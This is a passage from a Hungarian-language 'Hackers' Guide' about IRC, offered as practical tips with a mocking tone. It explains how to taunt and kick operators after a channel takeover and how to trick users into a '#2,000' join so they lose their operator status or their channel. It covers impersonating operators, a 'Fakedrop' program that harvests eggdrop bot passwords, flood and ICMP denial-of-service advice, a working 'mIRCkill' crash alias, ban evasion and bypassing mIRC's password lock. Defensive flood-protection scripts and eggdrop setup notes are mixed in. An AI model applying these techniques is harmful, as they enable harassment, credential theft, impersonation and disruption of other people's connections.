MCB létrehozásával.

167

Hackers’ Guide

8. rész - Mi mindent tehetünk, ha megvan a csatorna [mese] Amint megvan a csati, a döntés egyértelmûen a tied, hogy mit akarsz vele tenni, szóval teljesen szükségtelen a lehetõségekrõl beszélnem. Éppenezért, csak néhány tutira letesztelt és jól bevált ötletet osztanék meg, amik inkább kellemes élménnyé mintsem balfékeskedéssé teszik a hackelést. Az elsõ dolog gúnyolódni a csatorna korábbi operátoraival. Szivathatod õket azzal, hogy milyen szerencsétlenek voltak, hogy még te is meg tudtad hackelni a csatornát ;-) Természetesen a válaszuk valami olyasmi lesz, hogy "kezdgyé' má valami értelmesebbet az életeddel..." De véletlenül se vedd személyeskedésnek. Tartsd szem elõtt, hogy õk a csatorna korábbi házigazdái, akik nem tudták megtartani a csatornát, tehát valószínüleg nekik kéne egy kicsit jobban odafigyelni a dolgokra. Folytathatod tovább a gúnyolódást, ha visszabeszélnek, kiszórhatod õket a csatornáról. Mikor visszajönnek pár másodpercen belül, ami egyébként 100%, akkor valami mondhatsz valami olyasmit, hogy "Nos, amíg én irányítom a csatornát, addig nem tûröm el ezt a hangnemet és magatartást. Ha nem vagy képes moderálni magad akkor kénytelen leszek kitiltani téged..." Ez tuti, hogy kivált némi erõszakosabb hangvételû hozzászólást, amire fel ismét kirúghatod vagy kitilthatod õket. Egy másik lehetõség a tiltott szólista aktiválása. Ez egy nagyon egyszerû dolog a LICE-ban. Ha valaki egy nem megengedett szó hangzik el, akkor annak az eredménye az lesz, hogy az elkövetõ személy automatikusan lerepül a csatornáról. :) Ez a módszer nagyon hatékony az olyan csatornákon, mint pl a #teensex, ahol van egy adag nagyon gyakran használt szó (pl szex, nõk, stb.:) Szóval ha aktiválod ezt az opciót, akkor utána más dolgod sincs, mint figyelni, hogy röpködnek lefele az emberek :) Egy másik, általam kedvelt lehetõség a csatorna moderálttá tétele. (/mode +m) Ez azt jelenti, hogy a csatornán senki sem tud beszélni. Ez különösen király akkor, ha sokan vannak fent a csatornán, és néhány szót kívánsz szólni anélkül, hogy bárki is megzavarna. Igen, minden szem rád fog szegezõdni :) Ha igazán aljas vagy, akkor hagyd a csatornát moderáltan, ez ugyanis azt jelenti, hogy mivel senki sem fog tudni beszélni, ezért a csatorna szépen lassan meghal. Egy másik kellemetlen dolog, ha a csatornát átállítod olyanra, hogy csak meghívással lehessen belépni, és szépen kirúgsz mindenkit. Ez is szépen lassan kinyírja a csatornát. A többit a saját kreativitásodra bízom. Ha van jó ötleted, hát írd meg nekem, kíváncsian meghallgatom... Ha érdekesek, akkor kirakjuk õket a neveddel együtt ide az oldalra. ************************************************************************************************ A null csatorna A "/join 0" parancs hatására a null csatira kerülünk - azaz lelépünk mindenhonnan,

168

Hackers’ Guide

ahol eddig voltunk. Mivel a csatineveket ","-vel kell elválasztani, a "#0,0freebies", ill. egyeb hasonló szintaxisú "csatornákra" fellépve ("valami,0valami") az IRC kliensünk lelép minden csatiról. Ez könnyen használható a kezdôk ellen. >:)

Video

************************************************************************************************ A #2,000 bug

Megjegyzések 1.) ezt a lyukat eleinte ^TCG^ aka The Cyber God fedezte fel, A BSFR egy másik tagja. 2.) ez a lyuk lehet hogy javítva lesz (minnél hamarabb) előbb vagy utóbb, és akkor ez a szöveg ósdi lesz. Ne küldj e-mailt nekem (btw a címem [email protected] ha a témával kapcsolatban vannak kérdéseid) ha nem működne. 3.) kérlek olvasd el a megjegyzést (igen másik megjegyzés... :-) ) erről a "bug"-ról az oktató végén. Lépj fel netre. Indísd el kedvenc IRC kliensed. Most kapcsolódj fel egy népszerű IRC hálózatra. Lépj fel néhány csatira, és ezután lépj fe a #2,000 csatira. Huh? Pontosan mi a franc történt? Ez a bug a következő IRC hálózatokon műkszik: EliteIRCD és ennek klónjain - Bármely verziónál DALnet DreamForge - Minden verziónál EFNet RelicNet IRCNet ConferenceRoom - Minden verzió, minden OS (operációs rendszer) Tehát... mi történt itt valójában? Nos, ha ezen hálózatok egyikén rajta vagy és fellépsz a #2,000 csatira ki leszel rugva minden csatiról amelyiken rajta voltál.Nos, nem teljesen "kicked out". A külső felhasználónak úgy tűnik mintha egy /part -ot csináltál volna (/part #channel-name ez egy parancs amit egy IRC csatorna elhagyására használnak) minden csatornán amin bent voltál. Tehát más szavakkal, fellépsz a #2,000 -re és csinálsz egy /partedet minden csatin amin bent vagy.

169

Hackers’ Guide

Hogy ez miért olyan jelentős? Itt van néhány nagyon piszkos dolog amit tenni tudsz evvel a hülye buggal: 1) Tegyük fel van egy bot amit szeretnél lerúgni egy bizonyos csatiról (például: ez a bot őrzi a csatit és autokick-eli és talán bannolja az embereket akik megpróbálják take over-t), de az egyetlen dolog ami neked engedéjezett a botban hogy fellépjen csatikra. No problemo! Egyszerűen csinálj egy join #2,000 -et. 2) Valakit gyűlölsz vagy csak opot kapot a csati tulajától, egy AOP (Auto-OP: egy személy aki AOP-ot kapott automatikusan opolódik valahányszor a csatornára fellép), egy IRCOP, egy OP stb. Ráadásként, a skac aki opolta a másikat kevésbé gyűlölted.Nos, ha az opolt skac elhadja a csatit és újrafellép a csatira, elfogja veszíteni az opját nem lesz AOP-ja.Egyszerűen kérd meg hogy lépjen fel a #2,000 csatira,mond azt neki hogy beszélni akarsz vele valamiről,vagy azt hogy ez egy érdekes csati. Ez nem számít,a lényeg meggyőző legyél). Felfog lépni a #2,000-re, és /parted lesz minden csatin, így újra fel kell lépnie a csatira - de ezúttal nincs OP!! 3) Sok kópéságot játszhatsz az emberekkel ha azt mondod nekik hogy lépjenek fel a #2,000 csatira. Fenébe,még azt is mondhatod hogy ez az Y2K bug, és aki ezt megkapta kikapcsolja a gépét és küldheti szervízbe hogy majd ők megjavítják a hibát és lehúzzák 200$-val. 4) Ha valaki csinált egy csatit amit szeretnél ha a tied lenne de nem tudod magad beírni mint tulaj, megkéred hogy lépjen fel a #2,000-ra.El fog tünni a csatiról, és akkor minden amit tennet kell hogy újra fellépsz a csatira, és opot kapsz (emiatt te leszel az egyetlen utoljára bent maradt a csatin) és jegyezd be magad a chanserv-el mint a csati tulajdonosa (tanácsos hogy bannold a másik srácot akit utálsz hogy ne tudja visszafoglalni a csatit vagy valami más ne történjen mielőtt kész lennél a regisztrációval. 5) Ha valakinek "auto join on invite"-ja van (automatikusan fellép a csatira ahova meghívtad) opció be van kapcsolva, meghívhatod a #2,000-re és...hopsz! :-) 6) Én nem tenném, jól gondold meg! Nekem jobb ötleteim vannak mit tegyek az életemmel. :-) Oh, apropó, ez a bug nem csak a #2,000-en műkszik. Szintén megy az #1,000, #3,000 stb. De a #2,000 jobb, mert olyan mint egy Y2K tipusú bug az IRC-n... lol. Miért? Mert, amikor fellépsz a #2,000-re, valójában a #2-n vagy, és utána 0,és utána is 0, és megint 0. A 0-ra való fellépés leléptet az összes csatiról amin vagy, tehát ez a miért /join 0, /join #1,500 stb' ugyanazt a dolgot fogja csinálni. A következő infót Joan Luis Pinto küldte nekem. Itt van egy másik rövidített Email amit Erik Ivenson-tól kaptam: Néhány IRC kliens, mint az amit mi jelenleg a Dragonmount Networks-nál fejlesztünk, autómatikusan hozzáad egy # -t a csatorna név elejéhez ha nem lenne jelen. És ekkor ez a trükk nem műkszik. Megfogja változtatni azt "/join #0"-ra. A mIRC's "/j" is így műkszik azt hiszem.

Fordította: Thief Hu - mailto: [email protected] Forrás: Raven ( http://blacksun.box.sk )

170

Hackers’ Guide

************************************************************************************************ User klónozás

Ha OP-ot szeretnél valamelyik csatornán, de a saját nevedben semmi esélyed arra, hogy az elkövetkezendô 20 évben bárki megtiszteljen vele, kénytelen vagy úgy tenni, mintha Te nem Te lennél. A legegyszerübb, s mégis meglepôen eredményes klón semmi másból nem áll, mint egy /nick parancsból. Elôször meg kell tudnod, hogy kik azok, akik az adott helyen operátorok, s ezután nincs más dolgod, mint kiválasztani egyiküket, s az ô nevét viselve fellépni a csatornára. Ha ismered a szokásait is, akkor nem árt egy "udv" vagy "re", s ha nem kapsz azonnal OP-ot, akkor /msg opme... Ha szerencséd van, akkor máris megörvendeztetnek egy OP-al. Ha az áldozatok furfangosabbak, vagy a BOT-ok autoop rendszerrel működnek, s az operátorok egyike ugyanazon szolgáltatónál van, mint Te, akkor egy teljes klónnal érdemes próbálkozni: mindent úgy kell beállítani, ahogyan az illetô szokta - azaz ha rádkérdeznek WHOIS-al, akkor ugyanazt kapják, mintha ôrá kérdeztek volna. Autoop-os botok esetében már belépéskor azonnal OP-ot fogsz kapni - ehhez csak a @ elötti részt kell átírnod az illetô beállításainak megfelelôen. Ha megvan az OP, gondold végig, hogy mit akarsz! Ne csinálj semmit elhamarkodottan, s mindig különös tekintettel légy a BOT-okra: ha valami rosszat csinálsz, ôk lesznek az elsôk, akik megtorolják.

Csatorna klónozás

Ha valaki WHOIS-al rákérdez, hogy ki vagy, többekközött megtudja, hogy milyen csatornákon vagy rajta, és melyiken van OP-od. Ha az illetô programja támogatja a vastagbetüs vagy az inverz írást, könnyen megtéveszthetô, s oly hatást kelthetsz, mintha OP-od lenne ott ahol nincs, ill. fenn lennél olyan csatin, amin valójában nem vagy. Ehhez mást nem is kell tenned, mint fellépni egy, a kivánttal azonos nevű csatornára, azzal a kis különbséggel, hogy elrejtesz a névben két azonos vezérlôjelet (pl. inverz írás) egymás után (azaz bekapcsoljuk, majd kikapcsoljuk). MIRC-et használva ezt a következôképpen lehet például megtenni: /JOIN #Ba(CTRL+R)(CTRL+R)balany Ennek eredményeképpen ha valaki pl. mIRC-et használva rákérdez, hogy ki vagy, azt fogja látni, hogy rajta vagy a #Babalany csatornán (és OP-od is van) - valójában viszont csak egy klónján vagy rajta. Lehetséges több klónt is készíteni - annyi

171

Hackers’ Guide

változtatással, hogy a vezérlôjeleket máshova teszed. Ha valaki LOG-olja a Status-t, akkor a LOG-fileban - beállítástól függôen - láthatja a vezérlôjeleket! Az efféle csatornák további elônye, hogy idegennek nehéz fellépni rá - hiszen nem tudja a csati pontos nevét (...ha nem mondod el neki). A legegyszerűbb megoldás, ha INVITE-olod az illetôt, s neki be van állítva hogy autómatikusan fogadja el a meghívásodat. Az ôrületbe lehet kergetni az embereket, ha fellépnek egy csatira, amin látják hogy rajta vagy, s Te nem vagy ott! >:-) Jól néz ki a vastagbetüs csatornanév is, melynek minden második betüje inverz. >:)

Video ************************************************************************************************ Fake OP

Ha szeretnéd, hogy valaki abban a hitben éljen néhány másodpercig - esetleg akár percig is -, hogy adtál neki OP-ot (vagy esetleg épp elvetted tôle), akkor egy kis trükk segítségével kielégítheted ezen vágyadat. Amennyiben OP-os vagy a csatornán, +K-ra, azaz jelszavasra tudod állítani azt. A szintaxisa úgy néz ki, hogy /mode [csati] +K [jelszo] . Köztudott, hogy egyszerre három beállítást is megváltoztathatunk, tehát a *** Video sets mode +k +o Babalany szintaxisban elsôre a gyanútlan szemlélô nem is lel hibát... Mi is történik valójában? Csupán annyi, hogy +o[alt+170]Babalany -ra állítod a jelszót... Sajnos a mIRC új verziójában már háttereket is alkalmazhatunk, így ez nem minden esetben működik (Unix alapú gépeken úgyszintén...)... Ugyanezen módszerrel más FAKE-MODE parancsokat is csinálhatunk. ************************************************************************************************

172

Hackers’ Guide

Fakedrop

Ha van egy shell accountod egy linuxos serverre, amint fut eggdrop irc bot, akkor könnyedén el lehet csípni néhány username/password párost az adott bothoz, csupán egy kis szerencsére van szükséged, illetve az alábbi programra.

A program az eggdrop által nyitott portokat figyeli, és ha az eggdrop leáll, vagy újraindítják, akkor azonnal lefoglalja magának, és ha valaki csatlakozik hozzá, úgyanazt a bejelentkezõ képernyõt küldi neki, mintha az eggdrop lenne, és a begépelt username/password páros elmenti egy fájlba, ezután a beállítástól függõen leáll, vagy újabb megtéveszthetõ felhasználókra várakozik. Az eggdrop ha nem tudja bindelni az adott portot, akkor egy másik után néz, ez tipikusan az eredetitõl eggyel nagyobb, ezt az indításkor ki is írja, ez a figyelmesebb botgazdáknak feltünhet, és ugorhat az accountod a serverrõl.

Ugyanez az egyszerû trükk eljátszható más 1024 feletti portszámot használó szolgáltatásokkal (az 1024 alatti portok a root számára vannak fenntartva, azokat sima user nem használhatja linux alatt), csak a megfelelõ programot kell hozzá megírni.

download v2001.04.27 GNU - General public license

Sun-Zero [email protected] ************************************************************************************************ Flood Ha hirtelen nagyon sok adatot küldesz valakinek, azt floodolásnak nevezik. A floodnak több típusa van, pl. az IRCFLOOD és az ICMP(UDP,stb...). Ha IRC-n floodolsz valakit (pl. elkezded folyamatosan PING-elni, vagy klónokkal folyamatosan írsz neki hatalmas szövegeket), akkor csupán annyi történik, hogy kiesik a serverrôl - ha viszont nem vagy elég ügyes, akkor Te is kieshetsz flooddal... Éppen ezért találták ki a különbözô floodoló programokat - ha tényleg floodolni akarsz, érdemes megnézegetni ôket. Megfelelô jogokkal akár egy egész botnetet "ráállíthatsz" valakire, ami szinte biztos halált jelent az illetô számára... Természetesen csatornákat is lehet floodolni (annak érdekében, hogy minden OP-os kiessen... >:), de ezt a botok nem szokták díjjazni... Az ICMP és társai az IRC servertôl függetlenek - de többségük alkamas arra, hogy

173

Hackers’ Guide

egy gyors szerverrôl támadva bármilyen dialup-os életét megnehezítsük, ha az illetô nincs hardware-es tűzfal mögött. Ha valakit íly módon floodolsz, akkor a net elérése lelassul - s ha kellô adatmennyiséget tudsz eljuttatni számára rövid idô alatt, akkor lehetetlenné teszed minden egyéb kommunikációját. A FLOOD kivédhetô scriptek használatával, ill. saját kezű IGNORE-olással. Ilyenkor érdemes használni JOINFLOOD-ot, TOPICFLOOD-ot, vagy NICKCHANGEFLOOD-ot, mivel ezeket nem lehet IGNORE-olni.

Video ************************************************************************************************ mIRC flood védelem

Számomra úgy tûnik, ismét kezd elszabadulni a pokol az irc-n, lamerebbnél lamerebb emberek rohangálnak kezükben nagyobb klónsereget létrehozó scriptekkel, amik nem feltétlenül mentesek az esetleges hátsó ajtóktól. Ezekben az eszközökben számos módszer kinálkozik a másik ember, vagy csatorna beszélgetésének tönkretételéhez, kezdve az egyszerû ctcp flooddal, a számos idegesítõ és zavaró funkción át. Különben sem árt, ha meg tudjuk védeni magunkat irc-n, de egyes esetekben értelmesebb lehet a megfutamodás. A feltétlen ragaszkodás egy csatornához, nickhez sokszor értelmetlen, hiszen ezzel az irc a valódi értelmét veszti és, csak egy üres, sivár háborús világ lesz, ahol az okozza a legnagyobb örömet, ha az ellenség egy emberétõl, klónjától megszabadulunk, keresztbe teszünk neki. De hiába, az emberek többsége szeret háborúzni.

Kezdjük talán a legegyszerübbel, szabaduljunk meg a LIFE_STAGES.TXT.SHS -hez hasonló mIRCen keresztül (is) terjedõ férgektõl, amik dcc-n keresztül próbálják terjeszteni magukat a gyanútlan felhasználók között: on *:JOIN:#: { if ($nick == $me) { .ignore -tdu15 *!*@* echo $chan .4*** full ctcp, dcc ignore 15sec... } } Ezzel a sorral elintéztük, hogyha felmegyünk egy csatira, akkor 15 másodpercig megszabadulunk a ctcp-ktõl, dcc-ktõl.

A következõ a ctcp flood védelem. Az elsõ ctcp megérkezése után ignoráljuk az adott hostmask ctcp-it 20 másodpercre, az összes többi helyrõl érkezõ ctcp-t pedig 10 másodpercre. Ez azért elõnyös, mert ha egy nagyobb klónsereg kezd el ctcpzni, mindegyik más hostról, iprõl, akkor a pár másodperc alatt szétküldött rengeteg ctcp

174

Hackers’ Guide

válasz miatt a server hamar megválik tõlünk, pedig csak mindegyik klón elsõ ctcp-jére válaszoltunk. CTCP *:*: { if ( $nick = $me ) { return } echo 4 -at *** $1 from $nick $+ ! (20sec CTCP ignore, 10sec $& *!*@* CTCP ignore) ignore -tdu20 $wildsite ignore -tdu10 *!*@* } A notice-okat szerintem nem árt alapba ignorálni, engem nagyon bírnak idegesíteni, fõleg amikor több ablakba is megérkeznek, de a botokban lévõ üzenetekre jó ha figyelmeztetnek, ezt úgy oldottam meg, hogyha fellépünk egy csatira, akkor levesz pár másodpercre az ignore-t. A másik megoldás az ignore parancs -x kapcsolója, ami kivételt képez a *!*@* ignore alól, csak ehhez végre kell hajtani az alábbi parancsot az összes bot hostmaskjára: /ignore -pcndix *!ident@bothostja Ezzel bármilyen ignore esetén engedélyezzük a botoknak a public, private, notice, dcc, invite üzeneteket, a control kódok és ctcpk feleslegsek, mert ilyen egy normális bot nem küld (ide tartoznak még a public üzenetek is, de ezek alól gyakori a kivétel). on *:CONNECT: .ignore -n *!*@* on *:JOIN:#: { if ($nick == $me) { .ignore -nr *!*@* .timer 1 20 .ignore -n *!*@* .echo 4 -a *** unignore notices 20sec } } Query flood, talán a legidegesítõbb az összes közül. Mûködése annyiból áll, hogy klónokkal küldünk egy privmsg-t az usernek, aztán nickcsere, és kezdjük elölrõl. így egy nagy halom új ablakot nyílik meg az usernél, rossz esetben ettõl is befagyhat a mirc. Védekezni az új ablakok nyitásának letiltásával lehet, amit érdemes hozzákapcsolni egy funkcióbillentyûhöz. Az alábbi script önmûködõen is életbe lép, ha 10 másodperc alatt 5 új ablak nyílik. alias decquerynum { if ( %openquery >= 1 ) { dec %openquery 1 } } on *:start: { .disable #queryflood } on *:connect: { set %openquery 0 unset %query_host_* } on *:open:?: { inc %openquery if ( %openquery >= 5 ) { .enable #queryflood echo 4 -a *** enable query flood protect 120sec, disable: /qfoff .timer 1 120 .disable #queryflood

175

Hackers’ Guide

} set % [ $+ [ query_host_ ] $+ [ $nick ] ] $wildsite echo -t $nick .4 $+ $nick hostmaskja: $wildsite } #queryflood off on ^*:OPEN:?:{ echo -st MSG FROM $nick $wildsite (F9 - $& fullignore $wildsite 300sec...) set -u120 %qfignore $wildsite alias F9 { ignore -pcntikdu300 $wildsite } halt } #queryflood end alias f10 { .enable #queryflood echo 4 -at *** enable query flood protect $& 120sec, disable: /qfoff .timer 1 120 .disable #queryflood } alias qfoff { .disable #queryflood echo 4 -at *** disabled query flood $& protect, enable: F10 } Tsunami flood. A mIRCet használókra a ctcp után talán ez a legveszélyesebb. Úgy mûködik, hogy olyan üzneteketet, megjegyzéseket (notice) küld, ami tele van egy csomó control kóddal, ezáltal lelassítva a képernyõ kezelését, rossz esetben a mirc be is fagy, vagy belátható idõn belül nem képes kirajzolni a képernyõre az ablakot. Védekezés ellene, ha ignoráljük a az adott hostmaskot. A control kódokat viszont nem érdemes ignorálni, mert akkor a következõ, más hostról jövõ tsunami üzenetek a script nem fogja detektálni, mivel az ignore kiszedte belõle a control kódokat. ; ha ezt meghivjuk, ignoraljuk a hostot, ahonnan a flood jott alias tsunamiflood { .ignore -pcntikdu3600 $2 echo 4 -a *** tsunami flood detected $& from $1 $+ , full ignore $2 (3600sec) set -u300 %tsunamitext $1- } ; ha esetleg erdekel, hogy miert ignoralto a script, akkor ; megnézhetjük a Tools/Remote menüben a Variables ablakban 5 percig on ^*:NOTICE:*:*: { tsunamidetector $nick $wildsite $1- } on ^*:ACTION:*:*: { tsunamidetector $nick $wildsite $1- } on ^*:TEXT:*:*: { tsunamidetector $nick $wildsite $1- } alias tsunamidetector { set %ccodes $count($3-, B) ;az elõzõ sorban a B betüt cseréld ;ki egy ctrl-b karakterre'

176

Hackers’ Guide

inc %ccodes $count($3-, R) ;az elõzõ sorban az R betüt cseréld ;ki egy ctrl-r karakterre' inc %ccodes $count($3-, U) ;az elõzõ sorban az U betüt cseréld ;ki egy ctrl-u karakterre' inc %ccodes $count($3-, O) ;az elõzõ sorban a O betüt cseréld ;ki egy ctrl-o karakterre' ; ha tobb mint 20 control kod van benne, akkor ; mar floodnak vesszuk if (%ccodes >= 20 ) { haltdef tsunamiflood $1- halt } } Az invite flood nem gyakori, de ez is elég idegesítõ lehet, fõleg ha be van kapcsolva az "Auto-join channel on invite". Bár a servereken meg van szabva, hogy egyszerre maximum hány csatornára mehet fel egy user, de ha sokan vannak a csatin, akkor a nickek listázása is eltarthat egy darabig, illetve ha lelépünk a fenti funkció kikapcsolása elõtt, akkor egy újbóli meghívásnak ismét eleget tesz a mirc. Különben is, nem kap az ember felpercenként meghívásokat, connect után esetleg párat, úgyhogy legyünk paranoiásak! on *:INVITE:*: { echo -ta invite from $nick, notice ignore 30sec .ignore -iu30 *!*@* haltdef } A csati illetve user floodolása sima üzenetekell szerintem nem túl hatásos, ezek könnyen lehet akár kézzel is ignorálni, de erre sem árt egy popup menü. Ha csati floodolásról van szó, akkor általában intézkednek a botok, ha van sentinel.tcl, akkor elõbb-utóbb beállítják a csatornára a +mi flageket, aztán már csak kickelni kell.

Egy masskick popup menü, csak ki kell jelölni a nicklistán, akiket ki akarsz rúgni: kick $snicks:{ if ($snick(#,0) != 0) { %i = $snick(#,0) while (%i > 0) { if ( $snick(#, %i) ison # ) /kick # $snick(#, %i) masskick dec %i } } } Ignore menü, ami hostmaskot ignorál, ha le tudta kérdezni, ha nem, akkor nicket: $iif( %query_host_ [ $+ [ $active ] ] != $null , ignore %query_host_ [ $+ [ $active ] ]) : { ignore -pcntikd %query_host_ [ $+ [ $active ] ] }

177

Hackers’ Guide

$iif( %query_host_ [ $+ [ $active ] ] == $null , ignore $active $+ !*@* ) : { ignore -pcntikd $active $+ !*@* } Az egész script, itt egyben letölthetõ (kivéve a popup menük, azokat rakja be mindenki magának), csak be kell tölteni a mIRC Remote scripts ablakában (Alt-R) a File/Load/Script menüben, ha az egeszét használni akarod, akkor ezt javaslom, külön-külön bemásolva esetleg nem mûködik helyesen.

letöltés

Sun-Zero [email protected] ************************************************************************************************ mIRC jelszó kikapcsolása A regedit.exe segítségével az alábbi helyekrol kell törölni, vagy kinullázni a minden kulcs-érték párt. A mIRC verzióját a readme.txt fájlból a legegyszerübb kikeresni. 5.6 [HKEY_USERS\.DEFAULT\SOFTWARE\mIRC\lock]

5.61 [HKEY_CURRENT_USER\SOFTWARE\mIRC\lock]

5.7 [HKEY_USERS\.DEFAULT\SOFTWARE\mIRC\LockOptions]

5.71 [HKEY_USERS\.DEFAULT\SOFTWARE\mIRC\LockOptions]

5.8 [HKEY_USERS\.DEFAULT\SOFTWARE\mIRC\LockOptions]

Elképeszto, hogy egyesek erre képesek programot irni...

Sun-Zero [email protected] ************************************************************************************************

178

Hackers’ Guide

mIRC 5.4 Kill A mIRC 5.4-es verzióját egy programhiba folytán könnyedén semlegesíthetjük. Az alábbi pár sort az ALIASES.INI-be másolva, a MIRCKILL parancs használatával bármely védelem nélküli 5.4-es mIRC felhasználót rábírhatunk arra, hogy kilépjen a mIRC-bôl... >:) /mirckill { raw -q privmsg $1 : $+ $chr(1) $+ DCC SEND kx_rules.txt 9582342556 5454 $+ $chr(1) raw -q privmsg $1 : $+ $chr(1) $+ DCC RESUME lalala.txt $+ $chr(1) echo 4 -a Sent mIRCKill to $1 } ************************************************************************************************ mIRCkill patch Ha 5.4-es mIRCet használsz, érdemes védekezned az egyik BUG-ját kihasználó kilövési mód ellen. Az alábbi SCRIPT-et a SCRIPT.INI-be másolva védekezhetsz: ctcp *:DCC SEND: { if $4 == 9582342556 { .ignore -tu300 $wildsite | echo -a * Bad send request from $nick $+ : $+ $address $+ : $3- | halt } } ctcp *:DCC RESUME: { if $4 == $null { .ignore -tu300 $wildsite | echo -a * Bad send request from $nick $+ : $+ $address $+ : $3- | halt } } ************************************************************************************************ Hogyan juss be egy csatira vagy szerverre, ha bannoltak? Nézd meg, hogy hogyan lettél BAN-bolva (SzerverBAN-nál "STATS K [szerver]" parancs, csatibannál "MODE [csati] +b")! Ha nick!ident@host formátumú a BAN (azaz se a ! elött, után, vagy a @ után nincs "csak csillag és semmi más"), akkor nincs nehéz dolgod: csupán a nick-edet kell megváltoztatni. *!ident@host esetén már egy kicsit nehezebb a dolgod, ilyenkor vagy be kell jönnöd egy másik kliens-el,

179

Hackers’ Guide

ahol az IDENT-et kicseréled (ha be van kapcsolva az IDENTID, akkor ott, ha nincs, akkor az E-MAIL címed megadásánál), vagy pedig reconnectelsz a serverre, megváltoztatott IDENT-el. Jó megoldásnak számít az is, ha valaki invite-ol bentrôl - ezesetben a ban nem érvényes. A *!*@host a legvészesebb megoldás, ilyenkor bizony új IP címre van szükséged. Ezt legegyszerübben egy kapcsolatbontással és újratárcsázással oldhatod meg - bár vannak ennél elegánsabb megoldások is... Ha static IP-d van vagy mindenkit BAN-oltak a szolgáltatódtól, akkor más IP-t kell keresned (pl. socket fw-t)... Amennyiben valahol netsplit van, annak a "szolgáltatásait" igénybe veheted ez esetben is... :)

Video ************************************************************************************************ Az "eredeti név"-ben vezérlôjelek használata

Az "eredeti név" a host-od után jelenik meg WHOIS-kor, s mIRC-ben alapbeállításként nem lehet benne vezérlôjeleket használni - nem engedi a kívánt karakterek leütését a név megadásakor. Ha INVERZ vagy aláhúzott írást szeretnél, szükséged van egy (lehetôleg hexa)editorra. A MIRC.INI file-ban, az "USER=" kezdetû sorban így már nyugodtan válthatsz INVERZ vagy aláhúzott betüre is (az INVERZ jele pl. a 16(hex)). * mIRC 5.41-ig.

A vastagbetû és a színek használata már nehezebb, ugyanis nem tudja tárolni a vezérlôjeleit a MIRC.INI-ben - így ezeket használva csak a vezérlôjelig beírtakat mutatja meg a mIRC. Megoldás persze erre is van, hiszen Billy bácsinak köszönhetôen rendelkezésünkre áll a vágólap... A vastagbetû jelét vágólapon keresztûl beszúrva az "eredeti név" sorba használni tudod addig, míg a mIRC-bôl nem lépsz ki - utána sajnos elfelejtôdik. A színeket is lehet így használni.

Ha a HOST-odba szeretnél a @ elé néhány szép jelet, akkor az E-MAIL cím megadásánál ne írj be @-ot, s az USER ID-nél a MIRC.INI-be rakd a kivánt jeleket!

Video (Varga Gábor) [email protected] ************************************************************************************************

180

Hackers’ Guide

Az Eggdrop IRC bot

Tartalomjegyzék:

- Mi az Eggdrop? - Mit kell tennem, hogy Eggdrop botot futtassak? - Hol férhetek hozzá? - Hogyan állítsam be a botot? - Alap parancsok - Felhasználói cuccok - Csati cuccok - Botok linkelése - Mi az a TCL és mit csinál az Eggdroppal? - Tippek és trükkök - Felhasznált irodalom

--[ Mi az Eggdrop? ]--

Megjegyzés: Az Eggdrop 1.3.28 olvassel file-jából lett kiszedve. Az Eggdrop egy IRC bot, C-ben írva. Ha nem tudod mi az az IRC, jobb lesz, ha utánanézel! Az Eggdrop egy bot, ül a csatin és védelmi feladatokat lát el: megvédi a csatit a Take Overtõl, felismeri a számûzött felhasználókat (Banished users) és elutasítja õket, felismeri a kiváltságos felhasználókat és ad nekik opot, stb-t. Az Eggdrop egyik egyedülálló tulajdonsága a "partyline", hozzáférhetõ DCC chat-en keresztül, ami engedélyezi, hogy beszélj más emberekkel lemaradás nélkül. Tekintsd ezt egy több ablakos DCC chatnek vagy egy miniatûr IRCnek (csatornákkal teljes). Össze tudod kapcsolni más botokkal és kiterjeszteni a partylinet, ez nagyon hasonlóvá válik az IRChez.

--[ Mit kell tennem, hogy Eggdrop botot futtassak? ]—

Az Eggdrop futásához szükséged van egy pár dologra: - Egy Unix/Linux elérésre (vajon helyi elérésed van, vagy egy távoli shell elérés, ami hagyja, hogy Eggdroppot futtass és fusson tovább, miután kilépsz) - Meglehetõsen jó IRC és Unix/Linux ismeret, beleértve a DCC chatet is. - Körülbelül 500k szabad hely, vagy több, a rendszered (Linux alatt a futás kb. 400k-t foglal -- ez sokkal több lehet egy RISC rendszeren) - A TCL könyvtárra (lib file-ok), amit megtalálhatsz itt: www.linuxberg.com Ha azt akarod, hogy a botod legyen 24/7 (24 óra egy nap, 7 nap egy héten), szükséged van egy shell elérésre, egy 24/7 Internet kapcsolatra (hacsak nem te vagy egy számítógép... abban az esetben, adnod kell nekem egy korlátlan shell elérést mielõtt folytatod ennek a doksinak az olvasását... vicces :-) ). Tudsz olyan shellt szerezni, amit valakitõl veszel vagy megcsókolod a rendszergazdát és ráveszed, hogy adjon neked egyet ingyen (ne ilyet: "free shell

181

Hackers’ Guide

account providers" tudod futtatni a botot, de ha kilépsz, akkor az összes futó alkalmazásod befejezõdik). Van egy csomó jó shell szolgáltató. Én ezt ajánlom: www.foonet.net.

A TCL rész:

Mielõtt összeállítod a botot, szükséged van a TCL-re, hogy a rendszereden legyen. A legtöbb rendszer rendelkezik TCL-el -- ellenõrizni tudod a "tclsh" paranccsal. Ha ez mûködik egy % promptot kell kapnod, be kell írnod, hogy "exit", ahhoz, hogy kilépj a programból. Ez azt jelenti, hogy a TCL installálva van a rendszereden. Ha a "tclsh" nem mûködik, akkor ez valószínûleg azt jelenti, hogy nincs TCL-ed, le kell töltened és installálni. A legjobb FTP cím, ahonnan a TCL-t letöltheted: ftp://ftp.scriptics.com/pub/tcl A legjobb verzió ebben a pillanatban, amikor irom ezt a doksit, a 8.0.4-es verzió. A 7.6p2 verzió már bõven elég a használathoz. Megjegyzés: Nem fogom elmagyarázni, hogy hogyan kell letölteni, vagy hogy hogyan kell installálni a TCL-t. Van ott elég leírás és doksi ezzel kapcsolatban. Ha vettél egy shell-t és tudod, hogy engedélyezik az IRC botok futtatását (ez a fontos információ valószínûleg le van írva a shell szolgáltatód weboldalán),akkor teljes mértékben biztos lehetsz abban, hogy van TCL könyvtáruk. Mielõtt hozzákezdenél kérdezd meg magadtól, hogy tényleg szükséged van egy botra. A legtöbb IRC server csak egy maroknyi botot engedélyez -- sokat nyíltan kitiltanak. Az ok? Sok ember futtat botot, mint "játékot" vagy ami révén rombolni tud. Ha az eggdropot romboló szándékkal akarod használni, indulj és töröld le most ezt a könyvtárat. Majdnem lehetetlen, amit csinálni akarsz a bottal. Próbálj meg keresni legalább egy servert, ami engedélyezi, hogy futtass botot. Ha ISP-t (Internet Service Provider) használsz, üzemeltess saját IRC servert, nézz utána, hogy a botokkal minden rendben van-e. Ha máshonnan akarsz servert használni, olvasd el az MOTD-t (Message Of The Day) és nézz utána, hogy mik a botokra vonatkozó elõírásaik. Kövesd a szabályokat, hogy a botod sokáig 